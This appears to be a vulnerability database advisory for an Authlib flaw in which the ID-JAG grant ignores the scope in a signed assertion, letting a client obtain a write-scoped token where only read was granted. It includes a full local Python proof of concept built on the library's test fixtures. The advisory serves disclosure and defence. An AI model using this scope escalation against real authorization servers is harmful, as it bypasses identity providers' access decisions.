
Cloud Vulnerability DB
A community-led vulnerabilities database
= 1.9.0, <= 1.9.1
Authlib's IDJAGGrant verifies a signed identity assertion but does not enforce its scope claim. A client registered for both read and write can redeem an assertion in which the IdP granted only read by requesting write at the token endpoint. Authlib 1.9.1 returns and stores a write-scoped access token.
The following uses the `v1.9.1` source checkout and its existing Flask test integration. From that checkout, install Authlib and the test dependencies with `python -m pip install -e . Flask Flask-SQLAlchemy pytest`. Save the code as `repro.py` at the repository root and run `python repro.py`.
import os
from flask import Flask
from authlib.oauth2.drafts import IDJAGGrant as BaseIDJAGGrant
from tests.flask.test_oauth2.models import Client, Token, User, db
from tests.flask.test_oauth2.oauth2_server import (
create_authorization_server,
create_basic_header,
)
from tests.flask.test_oauth2.test_id_jag_grant import (
IDJAGGrant,
private_pem,
)
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
app = Flask(__name__)
app.testing = True
app.secret_key = "local-test"
app.config.update(
SQLALCHEMY_TRACK_MODIFICATIONS=False,
SQLALCHEMY_DATABASE_URI="sqlite://",
)
with app.app_context():
db.init_app(app)
db.create_all()
user = User(username="foo")
db.session.add(user)
db.session.commit()
client = Client(
user_id=user.id,
client_id="client-id",
client_secret="client-secret",
)
client.set_client_metadata({
"scope": "read write",
"grant_types": [BaseIDJAGGrant.GRANT_TYPE],
})
db.session.add(client)
db.session.commit()
server = create_authorization_server(app)
server.register_grant(IDJAGGrant)
assertion = BaseIDJAGGrant.sign(
private_pem,
issuer="https://idp.example.com",
audience="https://provider.test/token",
subject="foo",
client_id="client-id",
claims={"scope": "read"},
alg="RS256",
)
response = app.test_client().post(
"/oauth/token",
headers=create_basic_header("client-id", "client-secret"),
data={
"grant_type": BaseIDJAGGrant.GRANT_TYPE,
"assertion": assertion,
"scope": "write",
},
)
print("HTTP status:", response.status_code)
print("response:", response.get_json())
stored = db.session.query(Token).first()
print("stored token scope:", stored.scope if stored else None)
Observed on `v1.9.1`: HTTP 200; the response has `scope: write`; the persisted token has `scope: write`, although the signed assertion contains `scope: read`.A confidential client with valid credentials and a valid ID-JAG for a user can request a scope broader than the IdP granted, provided the client's registration and local application policy permit that broader scope. This bypasses the IdP's per-user authorization decision and may allow access to data or operations the IdP withheld. ID-JAG is an opt-in draft grant; this is not an unauthenticated attack and does not affect deployments that do not enable it.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."